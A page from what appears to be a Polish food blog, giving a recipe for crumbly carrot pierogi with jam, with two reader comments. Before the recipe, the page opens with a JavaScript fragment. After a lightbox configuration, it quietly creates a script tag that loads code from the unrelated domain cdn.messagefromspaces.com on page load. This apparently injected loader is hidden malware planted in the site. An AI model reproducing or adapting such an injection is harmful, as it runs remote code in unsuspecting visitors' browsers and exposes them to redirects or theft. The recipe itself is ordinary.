, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })

Kruche, marchewkowe pierożki z konfiturą

Wydrukuj artykuł Wydrukuj artykuł

 

Fantastycznie kruche pierożki smakują najlepiej z wyrazistą konfiturą domowego wyrobu.

Wypróbowałam dwa nadzienia: konfitura śliwkowa z domieszką różanej i konfitura wiśniowa – oba warianty smakują wyśmienicie, a marchewka doskonale się kamufluje! Do konfitur dodałam nieco tartych migdałów dla uzyskania bardziej zwartej konsystencji konfitur.

Z pewnością na tym blogu pojawi się jeszcze  wersja z nadzieniem „na słono”.

Ogromne podziękowanie dla Kamili ~ za przepis na ciasto i zarazem inspirację :) …uwielbiam przepisy z małą ilością składników.

Składniki:

  • pełna szklanka marchewki – surowej, drobno utartej (należy ubić w szklance)
  • 200 g margaryny
  • mąka pszenna (ilość należy dobrać do soczystości marchewki, należy dodać tyle by możliwe było wyrobienie ciasta ~ zużyłam około szklanki mąki)
  • konfitura z domieszką tartych migdałów

Ciasto wyrobić, rozwałkować do grubości około 4-5 mm (podsypując mąką gdy się zbytnio klei do blatu). Wykroić kółka jak na pierogi. Na każdym kółku położyć nieco konfitury i skleić pierożki. By łatwiej i szybciej się skleiły krawędź pierożka delikatnie zwilżałam wodą.

Gdy zabraknie konfitur można wykroić ciasteczka – bez nadzienia :) również dobrze smakują.

Kategoria: Bez kategorii 2 komentarze »

2 odpowiedzi to “Kruche, marchewkowe pierożki z konfiturą”

  1. Michelle

    Wypróbowałam :) ciasteczka wyszły przepyszne!

  2. Agathorre

    dziękuję za komentarz! smacznego :)


Skomentuj...



Początek strony